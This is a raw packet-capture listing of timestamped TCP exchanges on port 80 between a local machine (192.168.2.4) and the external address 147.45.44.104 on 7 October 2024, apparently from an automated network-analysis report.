Oct 7, 2024 18:43:46.308119059 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308140039 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308142900 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308161020 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308163881 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308177948 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308178902 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308204889 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308206081 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308217049 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308227062 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308242083 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308244944 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308255911 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308270931 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308271885 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308286905 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308288097 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308330059 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308345079 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308353901 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308353901 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308353901 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308360100 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308377028 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308379889 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308401108 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308403015 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308407068 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308418036 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308432102 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308433056 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308440924 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308455944 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308459044 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308471918 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308484077 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308486938 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308494091 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308502913 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308507919 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308520079 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308535099 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308547020 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308557034 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308588028 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.389226913 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389266014 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389281034 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389298916 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.389306068 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389336109 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.389342070 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389370918 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.389400005 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.389475107 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389489889 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389504910 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.389518023 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.389533043 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.389556885 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.392539978 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.392589092 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.392935038 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.392977953 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.393059015 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.393100023 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394177914 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394222975 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394337893 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394354105 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394387007 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394387960 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394407034 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394412041 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394427061 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394440889 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394450903 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394450903 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394455910 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394468069 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394473076 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394488096 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394498110 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394503117 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394517899 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394521952 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394531965 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394551992 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394565105 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394586086 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394598961 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394602060 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394615889 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394623995 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394632101 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394640923 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394646883 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394661903 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394663095 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394671917 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394700050 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394711018 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394714117 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394735098 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394747972 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394757032 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394762039 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394777060 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394778967 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394788027 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394798994 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394803047 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394815922 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394826889 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394830942 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394838095 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394856930 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394870996 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394879103 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394921064 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394934893 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394937038 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394949913 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394961119 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394965887 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394973993 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394980907 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.394984007 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.394996881 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395006895 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395020008 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395036936 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395039082 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395054102 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395068884 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395076990 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395082951 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395088911 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395098925 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395107985 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395112991 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395123005 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395128012 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395134926 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395143986 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395153999 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395172119 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395172119 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395195007 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395205021 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395205021 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395210028 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395226955 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395234108 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395241976 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395247936 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395256996 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395263910 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395272017 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395286083 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395287037 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395302057 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395306110 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395318031 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395324945 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395334005 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395347118 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395348072 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395365000 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395371914 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395378113 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395401955 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395409107 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395421982 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395423889 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395436049 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395446062 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395450115 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395471096 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395490885 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395495892 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395515919 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395529985 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395539999 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395545006 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395549059 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395560980 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395572901 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395576000 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395582914 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395591974 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395601034 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395606041 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395611048 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395629883 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395633936 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395641088 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395657063 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395670891 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395673037 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395689011 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395695925 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395704031 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395714998 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395720005 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395724058 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395735025 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395749092 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395750046 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395757914 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395771980 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395788908 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395797968 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395812988 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395827055 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395828962 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395842075 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395850897 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395855904 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395867109 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395872116 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395875931 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395888090 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395900011 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395903111 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395911932 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395917892 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395934105 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395946026 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395946026 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395948887 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395956039 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395963907 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395978928 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.395981073 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395989895 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.395993948 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396008968 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396018982 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396023989 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396039009 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396053076 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396055937 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396066904 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396075964 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396085024 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396110058 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396122932 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396145105 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396157980 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396162033 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396173000 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396183968 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396188021 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396203041 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396210909 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396218061 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396233082 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396236897 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396236897 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396249056 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396251917 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396260023 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396274090 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396276951 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396296024 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396316051 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396459103 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396473885 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396502972 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396509886 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396512985 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396533012 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396547079 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396548986 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396563053 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396574020 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396579981 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.396584034 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396609068 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.396617889 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.474256039 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.474288940 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.474304914 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.474319935 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.474335909 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.474351883 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.474370003 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.474416018 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.474467039 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.474477053 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.475439072 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.475455046 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.475470066 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.475507975 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.475507975 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.475544930 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.475560904 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.475575924 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.475589991 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.475591898 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.475620985 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.475652933 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.476933956 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477000952 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477003098 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477047920 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477097988 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477113962 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477128983 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477144003 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477147102 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477160931 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477169991 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477169037 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477180958 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477185965 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477205992 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477237940 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477257967 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477279902 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477294922 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477303982 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477309942 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477325916 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477328062 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477341890 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477350950 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477356911 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477375031 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477395058 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477405071 CEST	51636	80	192.168.2.4	147.45.44.104
